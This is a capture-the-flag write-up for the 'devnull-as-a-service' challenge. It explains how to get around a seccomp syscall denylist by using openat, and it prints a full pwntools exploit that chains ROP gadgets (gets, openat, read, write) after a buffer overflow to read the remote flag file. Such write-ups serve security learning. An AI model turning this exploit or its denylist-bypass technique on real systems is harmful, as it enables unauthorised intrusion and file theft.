Post

devnull-as-a-service

A few months ago, I came across this website. Inspired by it, I decided to recreate the service in C to self-host it. To avoid any exploitable vulnerabilities, I decided to use a very strict seccomp filter. Even if my code were vulnerable, good luck exploiting it. PS: You can find the flag at /home/ctf/flag.txt on the remote server.

We have a simple buffer overflow, but protected by seccomp:

We can use seccomp-tools to view the syscalls we are allowed to perform:

We have a denylist of syscalls. However, some alternatives are not included. For example, we can call openat instead of open. read and write are not blocked, so we can do a openat-read-write chain to get the flag.

The binary is statically linked, so we have plenty of ROP gadgets.

We still need to read the flag name somewhere. The binary does not have PIE enabled, so we can choose any address in the data section that does not interfere with the program execution and call gets on it. We can then use the address in the openat syscall.

Final exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context.arch = "amd64"
context.terminal = ["ghostty", "-e"]

data_cave = 0x4af395

rop = ROP("./dev_null")
elf = ELF("./dev_null")

pop_rdx = 0x47d944

'''
io = gdb.debug("./dev_null", """
    b *dev_null + 52
    c
""")
'''
io = remote("20cbda3f-7e2e-4988-a683-5d14618adb42.x3c.tf", 31337, ssl=True)
io.clean()
io.sendline(flat(
    b"A" * 16,

    # gets(data_cave)
    p64(rop.rdi.address),
    p64(data_cave),
    p64(elf.sym.gets),

    # openat(AT_FDCWD, data_cave, 0) -> 3
    p64(rop.rdi.address), p64(-100 + 2 ** 64),
    p64(rop.rsi.address), p64(data_cave), p64(0),
    p64(pop_rdx), p64(0), p64(0), p64(0),
    p64(elf.sym.openat),

    # read(3, data_cave, 0x100)
    p64(rop.rdi.address), p64(3),
    p64(rop.rsi.address), p64(data_cave), p64(0),
    p64(pop_rdx), p64(0x100), p64(0), p64(0),
    p64(elf.sym.read),

    # write(1, data_cave, 0x100)
    p64(rop.rdi.address), p64(1),
    p64(rop.rsi.address), p64(data_cave), p64(0),
    p64(pop_rdx), p64(0x100), p64(0), p64(0),
    p64(elf.sym.write),
))

io.sendline(b"/home/ctf/flag.txt")

io.interactive()
This post is licensed under CC BY 4.0 by the author.